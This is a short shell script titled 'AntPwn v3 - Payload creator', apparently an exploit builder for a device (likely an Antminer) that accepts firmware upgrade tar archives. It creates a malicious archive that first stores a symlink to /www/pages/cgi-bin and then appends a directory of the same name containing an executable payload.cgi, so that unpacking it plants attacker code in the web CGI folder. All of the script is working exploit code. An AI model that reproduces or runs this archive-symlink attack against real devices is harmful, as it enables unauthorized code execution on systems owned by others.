#!/bin/sh
#
# AntPwn v3 - Payload creator
# 2020/05/27
#

if [ $# -ne 2 ]; then
  echo "Usage: $0 [payload script] [output.tar.gz]"
  exit 1
fi

PAYLOAD_FILE_INPUT="$1"
OUTPUT_FILE_INPUT="$2"

PAYLOAD_FILE=$(readlink -f "$PAYLOAD_FILE_INPUT")
OUTPUT_FILE=$(readlink -f "$OUTPUT_FILE_INPUT")

if [ ! -e "$PAYLOAD_FILE" ]; then
  echo "Payload ${PAYLOAD_FILE} does not exist!"
  exit 2
fi

if [ -e "$OUTPUT_FILE" ]; then
  rm -rf "$OUTPUT_FILE"
fi


CURR_DIR=$(dirname "$(readlink -f "$0")")
TMP_DIR=$(mktemp -d)

echo "::: Creating payload :::"
echo -e "\n.:: fw.tar.gz"

cd "${TMP_DIR}"

# Create actual symlink (-f -> force)
ln -fs /www/pages/cgi-bin "version"

# Create archive with included symlink
tar cvf "fw.tar" version
# Remove local symlink -> its already archived in fw.tar
rm "version"

# Create regular folder, same location as symlink before
mkdir "version"

# Copy our payload to real directory
cp "${PAYLOAD_FILE}" "version/payload.cgi"
chmod +x "version/payload.cgi"

# APPEND/UPDATE directory inside archive which holds symlink with same name
tar uvf "fw.tar" version

# Compress fw.tar to fw.tar.gz
gzip "fw.tar"

rm -rf "version"

# Copy all upgrade files to temporary directory
cp -a "${CURR_DIR}/am1_upgrade/"* .

echo -e "\n.:: Finalize payload"
# Assemble final payload
tar czvf "${OUTPUT_FILE}" .

rm -rf "${TMP_DIR}"

echo -e "\n::: Payload created -> ${OUTPUT_FILE_INPUT} :::"
